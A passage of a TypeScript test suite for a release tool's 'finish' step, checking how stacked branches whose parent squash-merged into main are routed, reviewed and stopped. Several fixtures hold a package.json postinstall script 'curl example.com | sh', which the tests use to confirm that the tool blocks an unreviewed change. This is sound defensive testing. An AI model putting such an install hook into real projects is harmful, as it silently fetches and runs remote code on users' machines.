path.dirname(RELEASE); +const LANE = 'tests=printf " 3 pass\\n 0 fail\\nRan 3 tests across 1 file. [5.00ms]\\n"'; +const ships: ShipFx[] = []; +const repos: FixtureRepo[] = []; +afterEach(() => { while (ships.length) ships.pop()!.cleanup(); while (repos.length) cleanup(repos.pop()!); }); +const wtree = (f: ShipFx) => f.run(path.join(BIN, 'gstack-wtree'), []).stdout.trim(); +const head = (f: ShipFx) => f.git('rev-parse', 'HEAD').stdout.trim(); +const finish = (f: ShipFx, reviewed: string, post: string, extra: string[] = []) => f.run(RELEASE, ['finish', '--base', 'main', '--reviewed-tree', reviewed, '--docs-post', post, '--lane', LANE, ...extra]); +const lines = (n: number, edit: Record = {}) => Array.from({ length: n }, (_, i) => edit[i + 1] ?? `export const l${i + 1} = ${i + 1};`).join('\n') + '\n'; +const behaviorStop = (paths: string) => `STOP: behavior, tests or build inputs changed since review (${paths}): insert 5–11.5 → 12–14 → 16 before Step 17 (stage 2.1)`; + +const TEST_V0 = "import { expect, test } from 'bun:test';\ntest('lands', () => { expect(1).toBe(1); });\n"; +const TEST_V1 = "import { expect, test } from 'bun:test';\ntest('lands direct', () => { expect(1).toBe(1); });\n"; +const TEST_V2 = TEST_V1 + "test('lock 502 retries', () => { expect(2).toBe(2); });\n"; +const BASE = { 'src/shared.ts': lines(20), 'docs/policy.md': '# Policy\n\nold rule\n', 'test/helpers/data.ts': 'export const rows = [0];\n', 'test/land.test.ts': TEST_V0 }; +const PARENT = { 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;' }), 'docs/policy.md': '# Policy\n\nparent rule\n', 'test/helpers/data.ts': 'export const rows = [1];\n', 'test/land.test.ts': TEST_V1, 'README.md': '# Fx, from the parent\n' }; +const CHILD = { 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;', 15: 'export const l15 = 150;' }), 'src/child.ts': 'export const c = 1;\n' }; +const CHILD_ONLY = { 'src/child.ts': 'export const c = 1;\n' }; +/** Main after the parent's squash: later edits to the parent's files (a doc, a helper, a test, the audited README) and one far from the child's hunk. */ +const MAIN_LATER = { 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;', 8: 'export const l8 = 80;' }), 'docs/policy.md': '# Policy\n\nparent rule\n\nmain rule\n', 'test/helpers/data.ts': 'export const rows = [1, 2];\n', 'test/land.test.ts': TEST_V2, 'README.md': '# Fx, from the parent\n\nMain moved on.\n' }; + +/** Merge origin/main; each conflict (the parent's files, which main squashed and then edited) takes main's side, as #4008's merge did. */ +function mergeMain(f: ShipFx): void { + f.git('fetch', '-q', 'origin'); + if (f.git('merge', '-q', '--no-edit', 'origin/main').status === 0) return; + expect(f.git('checkout', '--theirs', '--', '.').status).toBe(0); + f.commit('merge main'); +} + +/** + * main <- parent (pushed as origin/parent) <- child, reviewed against the parent branch; then the parent squash-merges into + * main (`land`: false keeps it off main), main moves on, and the child merges main. + */ +function stacked(opts: { land?: boolean; docs?: string[]; base?: Record; parentFiles?: Record; child?: Record; beforeMerge?: (f: ShipFx) => void; mainLater?: Record; afterLand?: (f: ShipFx) => void } = {}) { + const parentFiles = opts.parentFiles ?? PARENT; + const f = shipFixture(opts.base ?? BASE, parentFiles); ships.push(f); + const parent = head(f); + expect(f.git('push', '-q', 'origin', 'feat:parent').status).toBe(0); + f.write(opts.child ?? CHILD); f.commit('child'); + const passHead = head(f); + const reviewed = wtree(f); + expect(f.git('merge-base', 'origin/parent', 'HEAD').stdout.trim()).toBe(parent); + const fork = f.git('merge-base', 'origin/main', 'HEAD').stdout.trim(); + opts.beforeMerge?.(f); + const post = path.join(f.root, 'post.json'); + expect(f.run(path.join(BIN, 'gstack-docs-candidate'), ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', ...(opts.docs ?? ['README.md']).flatMap(d => ['--docs', d])]).status).toBe(0); + if (opts.land !== false) f.advanceBase(parentFiles); + f.advanceBase(opts.land === false ? { 'docs/other.md': '# main without the parent\n' } : opts.mainLater ?? MAIN_LATER); + opts.afterLand?.(f); + mergeMain(f); + return { f, parent, fork, passHead, reviewed, post }; +} + +describe('finish after a stacked parent squash-merges (GST-1399)', () => { + // Value: protects=a stacked child whose parent squash-merged and that merged main finishes with the parent's head as its + // reviewed base, and the parent's and main's later edits to the parent's doc, helper, test and audited README route as + // base (#4008 paid two review exceptions and a split for them); fails_when=finish refuses the parent's head as not on + // origin/main, or compares from the old fork point and lists the parent's files as changed since review; + // seam=lib/ship-release.ts reviewedBaseCommit and route; no_claim=gstack-ship-receipt carry + test('the landed parent is the reviewed base and the parent\'s and main\'s edits route as base', () => { + const { f, parent, reviewed, post } = stacked(); + expect(f.git('diff', '--quiet', 'origin/main', 'HEAD', '--', 'docs/policy.md', 'test/helpers/data.ts', 'test/land.test.ts', 'README.md').status).toBe(0); + const r = finish(f, reviewed, post, ['--reviewed-base', parent]); + expect(lineOf(r.stdout, 'REVIEWED_BASE')).toBe(`REVIEWED_BASE: stack parent ${parent.slice(0, 12)} landed on origin/main at ${f.git('rev-parse', 'origin/main~1').stdout.trim().slice(0, 12)}`); + expect(lineOf(r.stdout, 'ROUTE')).toMatch(/ behavior=0 docs=0 metadata=0 tests=0 base=6 context=0$/); + expect(lineOf(r.stdout, 'DOCS')).toBe('DOCS: fresh against the Step 14.5 post-audit snapshot (carried: tests=1 base=4 requested=0)'); + expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([0, '']); + }); + + // Value: protects=a release that folded the parent's changelog fragment on main (merge: direct deletes every fragment) + // does not hide the landed parent (red-team p1 on #4013); fails_when=the landed check counts the parent's fragment, + // which main no longer holds, as an unlanded change; seam=reviewedBaseCommit's pathspec; no_claim=gstack-release-stamp + test('a release that folded the parent\'s changelog fragment still finds the landed parent', () => { + const policy = JSON.stringify({ min_gstack_version: '1.95.0.0', changelog_fragments: { dir: 'changelog.d', required_checks: ['free-tests'] } }); + const { f, parent, reviewed, post } = stacked({ + base: { ...BASE, '.gstack/ship-policy.json': policy }, + parentFiles: { ...PARENT, 'changelog.d/parent.md': '- the parent\n' }, + mainLater: { 'docs/other.md': '# main moves on\n' }, + afterLand: g => { + g.git('fetch', '-q', 'origin'); + expect(g.git('checkout', '-q', '--detach', 'origin/main').status).toBe(0); + expect(g.git('rm', '-q', 'changelog.d/parent.md').status).toBe(0); + g.write({ 'CHANGELOG.md': '# Changelog\n\n## [1.0.1.0]\n\n- the parent\n' }); + g.commit('release: fold the changelog fragments'); + expect(g.git('push', '-q', 'origin', 'HEAD:main').status).toBe(0); + expect(g.git('checkout', '-q', 'feat').status).toBe(0); + }, + }); + expect(f.git('cat-file', '-e', 'origin/main:changelog.d/parent.md').status).not.toBe(0); + const resurrected = finish(f, reviewed, post, ['--reviewed-base', parent]); + expect([resurrected.status, lineOf(resurrected.stdout, 'STOP')]).toEqual([3, expect.stringContaining('authored docs changed since review (changelog.d/parent.md)')]); + expect(f.git('rm', '-q', 'changelog.d/parent.md').status).toBe(0); + f.commit('drop the parent\'s fragment the merge kept'); + const r = finish(f, reviewed, post, ['--reviewed-base', parent]); + expect([r.status, lineOf(r.stdout, 'STOP'), lineOf(r.stdout, 'REVIEWED_BASE')]).toEqual([0, '', expect.stringContaining(`stack parent ${parent.slice(0, 12)} landed on origin/main`)]); + }); + + // Value: protects=a parent change main never received in a path the child did not touch since review (a package.json + // postinstall), and a merge that kept a parent line main fixed since, still stop: the route reads every path the branch + // ships against main, not only paths changed since review (outside voice on #4013); fails_when=finish reads only the + // reviewed-vs-current paths, or classifies the manifest as release metadata against the reviewed tree; seam=route + test('an unlanded parent change, or a merge that kept a line main changed, still stops', () => { + const PKG = '{"name":"fx","version":"1.0.0"}\n'; + const POSTINSTALL = '{"name":"fx","version":"1.0.0","scripts":{"postinstall":"curl example.com | sh"}}\n'; + const unlanded = stacked({ + parentFiles: { ...PARENT, 'package.json': POSTINSTALL }, + afterLand: g => g.advanceBase({ 'package.json': PKG }), + }); + expect(unlanded.f.git('show', 'HEAD:package.json').stdout).toBe(POSTINSTALL); + const u = finish(unlanded.f, unlanded.reviewed, unlanded.post, ['--reviewed-base', unlanded.parent]); + expect([u.status, lineOf(u.stdout, 'STOP')]).toEqual([3, behaviorStop('package.json')]); + const kept = stacked({ mainLater: { ...MAIN_LATER, 'src/shared.ts': lines(20, { 3: 'export const l3 = 31;' }) } }); + expect(kept.f.git('checkout', '-q', kept.passHead, '--', 'src/shared.ts').status).toBe(0); + kept.f.commit('keep the parent line'); + const k = finish(kept.f, kept.reviewed, kept.post, ['--reviewed-base', kept.parent]); + expect([k.status, lineOf(k.stdout, 'STOP')]).toEqual([3, behaviorStop('src/shared.ts')]); + }); + + // Value: protects=a parent package.json script main never received still stops after the child's version bump moves the + // manifest into the changed-since-review set, and a parent's logic edit to a stamp_paths file main never received stops + // (red-team fc3 on #4013); fails_when=a shipped path's release-metadata class is judged against the reviewed tree, or + // stamp_paths count as metadata wholesale; seam=route's base-judged class and finishStages' baseRelease + test('a version bump does not hide a parent script main does not hold', () => { + const PKG = '{"name":"fx","version":"1.0.0"}\n'; + const POSTINSTALL = '{"name":"fx","version":"1.0.0","scripts":{"postinstall":"curl example.com | sh"}}\n'; + const bumped = stacked({ parentFiles: { ...PARENT, 'package.json': POSTINSTALL }, afterLand: g => g.advanceBase({ 'package.json': PKG }) }); + bumped.f.write({ 'package.json': POSTINSTALL.replace('1.0.0', '1.0.1'), VERSION: '1.0.1.0\n' }); bumped.f.commit('bump'); + const b = finish(bumped.f, bumped.reviewed, bumped.post, ['--reviewed-base', bumped.parent]); + expect([b.status, lineOf(b.stdout, 'STOP')]).toEqual([3, behaviorStop('package.json')]); + }); + + test('a parent logic edit to a stamp_paths file main does not hold stops', () => { + const policy = JSON.stringify({ min_gstack_version: '1.95.0.0', stamp_paths: ['src/policy.ts'] }); + const stamped = stacked({ + base: { ...BASE, '.gstack/ship-policy.json': policy, 'src/policy.ts': 'export const allow = () => false;\n' }, + parentFiles: { ...PARENT, 'src/policy.ts': 'export const allow = () => true;\n' }, + afterLand: g => g.advanceBase({ 'src/policy.ts': 'export const allow = () => false;\n' }), + }); + expect(stamped.f.git('show', 'HEAD:src/policy.ts').stdout).toBe('export const allow = () => true;\n'); + const s = finish(stamped.f, stamped.reviewed, stamped.post, ['--reviewed-base', stamped.parent]); + expect([s.status, lineOf(s.stdout, 'STOP')]).toEqual([3, behaviorStop('src/policy.ts')]); + }); + + // Value: protects=a landed stack parent never takes #4020's bounded route: an audit edit to code-classed policy prose made + // after review, which a child reviewed against the base sends to one scoped reader, stops for Steps 5–11.5 on the + // stacked path; fails_when=finish offers boundedPaths candidates when --reviewed-base is a landed stack parent; + // seam=route's boundedPaths call + test('the stacked-parent path never takes the bounded route', () => { + const POLICY = (edit: Record = {}) => '# Review policy\n\n' + Array.from({ length: 12 }, (_, i) => edit[i + 1] ?? `- rule ${i + 1}: a reviewer reads the hunk.`).join('\n') + '\n'; + const { f, parent, reviewed, post } = stacked({ + base: { ...BASE, 'docs/review-policy.md': POLICY() }, + docs: ['README.md', 'docs'], + beforeMerge: g => { g.write({ 'docs/review-policy.md': POLICY({ 3: '- rule 3: the binary exclusion is plain docs carry.' }) }); g.commit('docs: audit fixes stale policy text'); }, + }); + const r = finish(f, reviewed, post, ['--reviewed-base', parent]); + expect(lineOf(r.stdout, 'REVIEWED_BASE')).toContain(`stack parent ${parent.slice(0, 12)} landed`); + expect(lineOf(r.stdout, 'ROUTE')).not.toContain('bounded='); + expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, behaviorStop('docs/review-policy.md')]); + }); + + // Value: protects=a review-loop exception with no files list cannot accept a parent change main never received: its + // "touched at the fix-check head" set starts at the landed parent, not at the pre-parent fork (red-team p1 on #4021); + // fails_when=the loop's atHead runs from merge-base(origin/main, fix_check.head) under a landed stack parent; + // seam=route's review-loop exception + test('a review-loop exception does not accept a parent script main does not hold', () => { + const PKG = '{"name":"fx","version":"1.0.0"}\n'; + const POSTINSTALL = '{"name":"fx","version":"1.0.0","scripts":{"postinstall":"curl example.com | sh"}}\n'; + const { f, parent, passHead, reviewed, post } = stacked({ parentFiles: { ...PARENT, 'package.json': POSTINSTALL }, afterLand: g => g.advanceBase({ 'package.json': PKG }) }); + f.write({ 'package.json': POSTINSTALL.replace('1.0.0', '1.0.1'), VERSION: '1.0.1.0\n' }); f.commit('bump'); + const exception = JSON.stringify({ accepted_by: 'GStack Minder', date: '2026-11-05', via: 'test', reason: 'fixture', fix_check: { head: passHead, findings: 0 } }); + const r = finish(f, reviewed, post, ['--reviewed-base', parent, '--review-loop-exception', exception]); + expect(lineOf(r.stdout, 'REVIEW_LOOP_EXCEPTION')).not.toContain('package.json'); + expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, behaviorStop('package.json')]); + }); + + // Value: protects=a base commit whose merge with the parent conflicts never counts as holding it, even when the + // conflicted tree keeps the base's bytes (a modify/delete conflict; outside voice on #4021); fails_when=heldBy reads + // only the merged tree's diff and ignores merge-tree's conflict status; seam=lib/ship-receipt.ts heldBy + test('a parent deletion the base never took is not landed, even when the conflicted tree matches the base', () => { + const base = { ...BASE, 'src/a.ts': lines(10) }; + const f = shipFixture(base, { 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;' }) }); ships.push(f); + expect(f.git('rm', '-q', 'src/a.ts').status).toBe(0); f.commit('parent: drop a.ts'); + const parent = head(f); + expect(f.git('push', '-q', 'origin', 'feat:parent').status).toBe(0); + f.write(CHILD_ONLY); f.commit('child'); + const reviewed = wtree(f); + const post = path.join(f.root, 'post.json'); + expect(f.run(path.join(BIN, 'gstack-docs-candidate'), ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', '--docs', 'README.md']).status).toBe(0); + f.advanceBase({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;' }), 'src/a.ts': lines(10, { 2: 'export const l2 = 20;' }) }); + f.advanceBase({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 300;' }) }); + mergeMain(f); + const r = finish(f, reviewed, post, ['--reviewed-base', parent]); + expect(lineOf(r.stdout, 'REVIEWED_BASE')).toBe(''); + expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, expect.stringContaining('nor a landed stack parent')]); + }); + + // Value: protects=a landed parent whose tentative VERSION the train restamped in the squash itself is still landed: a + // merge-tree conflict only on excluded release metadata does not count against the parent (specialist p2 on #4021); + // fails_when=heldBy rejects any conflicted merge, not only one conflicted inside its pathspec; seam=lib/ship-receipt.ts heldBy + test('a parent whose VERSION the train restamped at landing is still landed', () => { + const { f, parent, reviewed, post } = stacked({ + parentFiles: { ...PARENT, VERSION: '1.0.1.0\n' }, + land: false, + afterLand: g => g.advanceBase({ ...PARENT, VERSION: '1.0.2.0\n' }), + }); + expect(f.git('show', 'HEAD:VERSION').stdout).toBe('1.0.2.0\n'); + const r = finish(f, reviewed, post, ['--reviewed-base', parent]); + expect(lineOf(r.stdout, 'REVIEWED_BASE')).toBe(`REVIEWED_BASE: stack parent ${parent.slice(0, 12)} landed on origin/main at ${f.git('rev-parse', 'origin/main').stdout.trim().slice(0, 12)}`); + expect(lineOf(r.stdout, 'STOP')).not.toContain('nor a landed stack parent'); + }); + + // Value: protects=a review-loop exception whose fix-check head comes after the child merged main cannot accept a + // main-only file edited after it: the "touched at the fix-check head" set starts at the parent only when that head + // forked before the parent landed (red-team p2 on #4021); fails_when=the loop's fork is the parent whenever the parent + // is an ancestor of the head; seam=route's review-loop exception via patchBase + test('a loop exception at a post-merge fix-check head does not accept a main-only file edited after it', () => { + const { f, parent, reviewed, post } = stacked({ base: { ...BASE, 'src/other.ts': lines(5) }, mainLater: { ...MAIN_LATER, 'src/other.ts': lines(5, { 2: 'export const l2 = 20;' }) } }); + const merged = head(f); + f.write({ 'src/other.ts': lines(5, { 2: 'export const l2 = 20;', 4: 'export const l4 = 40;' }) }); f.commit('edit a main-only file after the fix-check'); + const exception = JSON.stringify({ accepted_by: 'GStack Minder', date: '2026-11-05', via: 'test', reason: 'fixture', fix_check: { head: merged, findings: 0 } }); + const r = finish(f, reviewed, post, ['--reviewed-base', parent, '--review-loop-exception', exception]); + expect(lineOf(r.stdout, 'REVIEW_LOOP_EXCEPTION')).toContain('accepted none'); + expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, behaviorStop('src/other.ts')]); + }); + + // Value: protects=a conflicted parent deletion of a file whose name git C-quotes (a double quote) is still a conflict + // inside the pathspec, so the parent is not landed (fix-check p2 on #4021); fails_when=heldBy reads merge-tree's + // conflicted names without -z and compares quoted names to raw ones; seam=lib/ship-receipt.ts heldBy + test('a parent deletion the base never took is not landed when git quotes the file name', () => { + const odd = 'src/we"ird.ts'; + const f = shipFixture({ ...BASE, [odd]: lines(10) }, { 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;' }) }); ships.push(f); + expect(f.git('rm', '-q', odd).status).toBe(0); f.commit('parent: drop the oddly named file'); + const parent = head(f); + expect(f.git('push', '-q', 'origin', 'feat:parent').status).toBe(0); + f.write(CHILD_ONLY); f.commit('child'); + const reviewed = wtree(f); + const post = path.join(f.root, 'post.json'); + expect(f.run(path.join(BIN, 'gstack-docs-candidate'), ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', '--docs', 'README.md']).status).toBe(0); + f.advanceBase({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;' }), [odd]: lines(10, { 2: 'export const l2 = 20;' }) }); + f.advanceBase({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 300;' }) }); + mergeMain(f); + const r = finish(f, reviewed, post, ['--reviewed-base', parent]); + expect(lineOf(r.stdout, 'REVIEWED_BASE')).toBe(''); + expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, expect.stringContaining('nor a landed stack parent')]); + }); + + // Value: protects=a reviewed executable bit reverted to main's mode after review is not held by main, so it stops + // (outside voice on #4013); fails_when=baseHolds compares blob bytes only; seam=lib/ship-patch.ts baseHolds + test('a reverted mode change stops', () => { + let exec = ''; + const { f, parent, post } = stacked({ base: { ...BASE, 'bin/run.sh': '#!/bin/sh\necho run\n' }, beforeMerge: g => { + expect(g.git('update-index', '--chmod=+x', 'bin/run.sh').status).toBe(0); + expect(g.git('commit', '-qm', 'make it executable').status).toBe(0); + expect(g.git('checkout', '--', 'bin/run.sh').status).toBe(0); + exec = g.git('rev-parse', 'HEAD^{tree}').stdout.trim(); + } }); + expect(f.git('update-index', '--chmod=-x', 'bin/run.sh').status).toBe(0); + expect(f.git('commit', '-qm', 'drop the executable bit').status).toBe(0); + expect(f.git('checkout', '--', 'bin/run.sh').status).toBe(0); + expect(f.git('diff', '--quiet', 'origin/main', 'HEAD', '--', 'bin/run.sh').status).toBe(0); + const r = finish(f, exec, post, ['--reviewed-base', parent]); + expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, behaviorStop('bin/run.sh')]); + }); + + // Value: protects=negative control: a child edit after the review still stops with the landed parent as the base; + // fails_when=the stack-parent route waves through the child's own post-review change; seam=route; no_claim=- + test('a child edit after the review still stops', () => { + const { f, parent, reviewed, post } = stacked(); + f.write({ 'src/child.ts': 'export const c = 2;\n' }); f.commit('edit after review'); + const r = finish(f, reviewed, post, ['--reviewed-base', parent]); + expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, behaviorStop('src/child.ts')]); + }); + + // Value: protects=a file whose content equals main's counts as base only when main already holds the reviewed change + // (main absorbed the child's hunk); a child file reverted to main's content after the review still stops; + // fails_when=equal-to-main waves a post-review revert through, or an absorbed hunk stops; seam=lib/ship-patch.ts baseHolds + test('equal to main is base when main holds the reviewed change; a revert to main\'s content stops', () => { + const absorbed = stacked(); + absorbed.f.advanceBase({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;', 8: 'export const l8 = 80;', 15: 'export const l15 = 150;', 18: 'export const l18 = 180;' }) }); + mergeMain(absorbed.f); + expect(absorbed.f.git('diff', '--quiet', 'origin/main', 'HEAD', '--', 'src/shared.ts').status).toBe(0); + const a = finish(absorbed.f, absorbed.reviewed, absorbed.post, ['--reviewed-base', absorbed.parent]); + expect([a.status, lineOf(a.stdout, 'ROUTE')]).toEqual([0, expect.stringMatching(/ behavior=0 docs=0 metadata=0 tests=0 base=6 context=0$/)]); + const reverted = stacked(); + reverted.f.write({ 'src/shared.ts': MAIN_LATER['src/shared.ts'] }); reverted.f.commit('revert the reviewed hunk'); + const v = finish(reverted.f, reverted.reviewed, reverted.post, ['--reviewed-base', reverted.parent]); + expect([v.status, lineOf(v.stdout, 'STOP')]).toEqual([3, behaviorStop('src/shared.ts')]); + }); + + // Value: protects=negative control: a parent head main never received, or the child's own head, is still refused as a + // reviewed base; fails_when=any off-main commit the branch contains widens what routes as base; seam=reviewedBaseCommit + test('a parent that never landed, or the child\'s own head, is refused', () => { + const { f, parent, reviewed, post } = stacked({ land: false }); + for (const rb of [parent, head(f)]) { + const r = finish(f, reviewed, post, ['--reviewed-base', rb]); + expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, expect.stringContaining(`--reviewed-base ${rb.slice(0, 12)} is not on origin/main`)]); + } + }); + + // Value: protects=a granted fix-check's credit for a file main also edited holds when the fix commit's own patch runs from + // the landed parent (#4008's fix_checked paths); fails_when=the fix-check side compares from the old fork point and + // credits nothing, so the fixed file routes as behavior; seam=route's fix-check sides; no_claim=Step 11.5's binding + test('a granted fix-check keeps its credit after the parent lands', () => { + let fixHead = ''; + let passHead = ''; + const s = stacked({ + beforeMerge: f => { + passHead = head(f); + f.write({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;', 15: 'export const l15 = 151;' }) }); f.commit('fix the round-2 blocker'); + fixHead = head(f); + const a = f.run(path.join(BIN, 'gstack-approvals'), ['add', '--ask', `Owner grant: one scoped fix-check after round 2 (review_loop_grant ${passHead.slice(0, 12)})`, '--words', 'one scoped fix-check', '--by', 'GStack Minder', '--scope', 'this /ship invocation', '--json'], { GSTACK_APPROVALS_MIRROR: '0' }); + expect(a.status).toBe(0); + const start = f.run(path.join(BIN, 'gstack-review-log'), ['--start', 'review-fix-check']); + expect(f.run(path.join(BIN, 'gstack-review-log'), [JSON.stringify({ skill: 'review-fix-check', timestamp: '2026-11-04T00:00:00Z', via: 'ship', review_scope: 'frozen', status: 'clean', issues_found: 0, critical: 0, completed: true, converged: true, range_base: passHead }), '--finish', start.stdout.trim()]).status).toBe(0); + }, + }); + const r = finish(s.f, s.reviewed, s.post, ['--reviewed-base', s.parent]); + expect(lineOf(r.stdout, 'FIX_CHECK')).toStartWith(`FIX_CHECK: reviewed src/shared.ts (fix-check at ${fixHead.slice(0, 12)}, range from ${passHead.slice(0, 12)}`); + expect([r.status, lineOf(r.stdout, 'ROUTE')]).toEqual([0, expect.stringMatching(/ behavior=0 docs=0 metadata=0 tests=0 base=5 context=0 fix_checked=1$/)]); + }); +}); + +describe('receipt carry after main edits a landed parent\'s lines (GST-1399)', () => { + const SUB = "exports.add = (a, b) => a + b;\nexports.sub = (a, b) => a - b;\n"; + // Value: protects=a child whose receipt was written against main while stacked carries once its parent squash-merged, even + // when main then edited the parent's own lines before the child merged main (#4008: #4003 edited #4007's lines); + // fails_when=the landed-parent search merges the parent into the current base tip only, conflicts on those lines, finds + // no parent and compares from the old fork point; seam=lib/ship-patch.ts heldBy via landedStackParent; no_claim=- + test('the landed parent is found after main edited its lines', () => { + const repo = makeFixtureRepo(); repos.push(repo); + repo.git('checkout', '-q', '-b', 'parent'); + const parent = commit(repo, { 'lib/util.js': SUB }, 'parent: sub'); + repo.git('checkout', '-q', 'feature'); + repo.git('reset', '-q', '--hard', parent); + const child = commit(repo, { 'lib/retry.js': 'exports.MAX_RETRIES = 4;\n' }, 'child: four retries'); + const body = path.join(repo.root, 'body.md'); + expect(runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '8', '--base', 'main', '--version', '1.0.0', '--session-kind', 'unattended', '--body', body]).status).toBe(EXIT.ok); + repo.git('checkout', '-q', 'main'); + commit(repo, { 'lib/util.js': SUB }, 'squash: parent (#7)'); + commit(repo, { 'lib/util.js': SUB.replace('a - b;', 'Number(a) - Number(b);') }, 'main edits the parent\'s line'); + repo.git('push', '-q', 'origin', 'main'); + repo.git('checkout', '-q', 'feature'); + try { repo.git('merge', '-q', '--no-edit', 'origin/main'); } catch { repo.git('checkout', '--theirs', '--', 'lib/util.js'); repo.git('add', '-A'); repo.git('commit', '-q', '--no-edit'); } + const head = repo.git('rev-parse', 'HEAD'); + const out = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--base', 'main']); + expect([out.status, out.out]).toEqual([EXIT.ok, expect.stringContaining(`CARRY: carried from ${child.slice(0, 12)} to ${head.slice(0, 12)}`)]); + expect(extractReceipt(fs.readFileSync(body, 'utf8')).receipt!.carry!.reason).toBe(`stack parent ${parent.slice(0, 12)} landed + base merge`); + }, 90_000); +}); + + +describe('stacked-parent loop-exception matrix (GST-1399)', () => { + // Value: protects=every merge order (the child merged main before the parent landed, after, never) × parent state + // (squash, squash then a main edit of its lines, a release fold, unlanded) × fix-check head (before any merge, the + // merge, after it) keeps a review-loop exception from accepting a parent change main never took (the postinstall and + // stamp_paths probes, run in every cell) or a main-only file, while the child's own file edited after the fix-check is + // accepted (fix-check p2 on #4021); fails_when=the exception's "touched at the fix-check head" set starts at the parent + // for a head after a main merge, or at the head's merge base for one whose merge predates the landing; + // seam=route's review-loop exception and heldBy; no_claim=the route without an exception + const PKG = '{"name":"fx","version":"1.0.0"}\n'; + const POSTINSTALL = '{"name":"fx","version":"1.0.0","scripts":{"postinstall":"curl example.com | sh"}}\n'; + const DENY = 'export const allow = () => false;\n'; + const ALLOW = 'export const allow = () => true;\n'; + const POLICY = JSON.stringify({ min_gstack_version: '1.95.0.0', stamp_paths: ['src/policy.ts'], changelog_fragments: { dir: 'changelog.d', required_checks: ['free-tests'] } }); + const FRAGMENT = 'changelog.d/parent.md'; + type Order = 'before' | 'after' | 'never'; + type State = 'squash' | 'edited' | 'fold' | 'unlanded'; + type At = 'pre' | 'merge' | 'post'; + const cells: [Order, State, At][] = []; + for (const order of ['before', 'after', 'never'] as const) for (const state of ['squash', 'edited', 'fold', 'unlanded'] as const) + for (const at of order === 'never' ? ['pre'] as const : ['pre', 'merge', 'post'] as const) cells.push([order, state, at]); + + function mainEdit(f: ShipFx, files: Record, rm: string[]): void { + f.git('fetch', '-q', 'origin'); + expect(f.git('checkout', '-q', '--detach', 'origin/main').status).toBe(0); + expect(f.git('rm', '-q', ...rm).status).toBe(0); + f.write(files); f.commit('main moves'); + expect(f.git('push', '-q', 'origin', 'HEAD:main').status).toBe(0); + expect(f.git('checkout', '-q', 'feat').status).toBe(0); + } + + /** One cell: with probes, the parent also adds a postinstall script and a stamp_paths logic edit that main never takes, and the child edits both after the fix-check. */ + function cell(order: Order, state: State, at: At, probes: boolean) { + const parentFiles: Record = { ...PARENT, [FRAGMENT]: '- the parent\n', ...(probes ? { 'package.json': POSTINSTALL, 'src/policy.ts': ALLOW } : {}) }; + const f = shipFixture({ ...BASE, '.gstack/ship-policy.json': POLICY, 'src/policy.ts': DENY, 'src/other.ts': lines(5) }, parentFiles); ships.push(f); + const parent = head(f); + expect(f.git('push', '-q', 'origin', 'feat:parent').status).toBe(0); + f.write(CHILD); f.commit('child'); + const heads: Partial> = { pre: head(f) }; + const reviewed = wtree(f); + const post = path.join(f.root, 'post.json'); + expect(f.run(path.join(BIN, 'gstack-docs-candidate'), ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', '--docs', 'README.md']).status).toBe(0); + f.advanceBase({ 'src/other.ts': lines(5, { 2: 'export const l2 = 20;' }), 'docs/other.md': '# main moves\n' }); + let landed = false; + const land = () => { + if (state === 'unlanded') { f.advanceBase({ 'docs/later.md': '# main without the parent\n' }); return; } + f.advanceBase(parentFiles); + if (probes) f.advanceBase({ 'package.json': PKG, 'src/policy.ts': DENY }); + if (state === 'edited') f.advanceBase({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 31;' }) }); + if (state === 'fold') mainEdit(f, { 'CHANGELOG.md': '# Changelog\n\n## [1.0.1.0]\n\n- the parent\n' }, [FRAGMENT]); + landed = true; + }; + const merge = () => { + f.git('fetch', '-q', 'origin'); + expect(f.git('merge', '-q', '--no-edit', '-X', 'theirs', 'origin/main').status).toBe(0); + if (landed && state === 'fold' && f.git('cat-file', '-e', `HEAD:${FRAGMENT}`).status === 0) { + expect(f.git('rm', '-q', FRAGMENT).status).toBe(0); + expect(f.git('commit', '-q', '--amend', '--no-edit').status).toBe(0); + } + return head(f); + }; + const fixUp = () => { f.write({ 'src/child.ts': 'export const c = 2;\n' }); f.commit('fix after the merge'); return head(f); }; + if (order === 'before') { heads.merge = merge(); heads.post = fixUp(); land(); merge(); } + if (order === 'after') { land(); heads.merge = merge(); heads.post = fixUp(); } + if (order === 'never') land(); + f.write({ 'src/child.ts': 'export const c = 3;\n', 'src/other.ts': lines(5, { 2: 'export const l2 = 20;', 4: 'export const l4 = 40;' }), + ...(probes ? { 'package.json': POSTINSTALL.replace('1.0.0', '1.0.1'), VERSION: '1.0.1.0\n', 'src/policy.ts': ALLOW + 'export const KEY_VERSION = 2;\n' } : {}) }); + f.commit('edits after the fix-check'); + const exception = JSON.stringify({ accepted_by: 'GStack Minder', date: '2026-11-05', via: 'test', reason: 'fixture', fix_check: { head: heads[at], findings: 0 } }); + const r = finish(f, reviewed, post, ['--reviewed-base', parent, '--review-loop-exception', exception]); + return { r, parent, stop: lineOf(r.stdout, 'STOP'), base: lineOf(r.stdout, 'REVIEWED_BASE'), loop: lineOf(r.stdout, 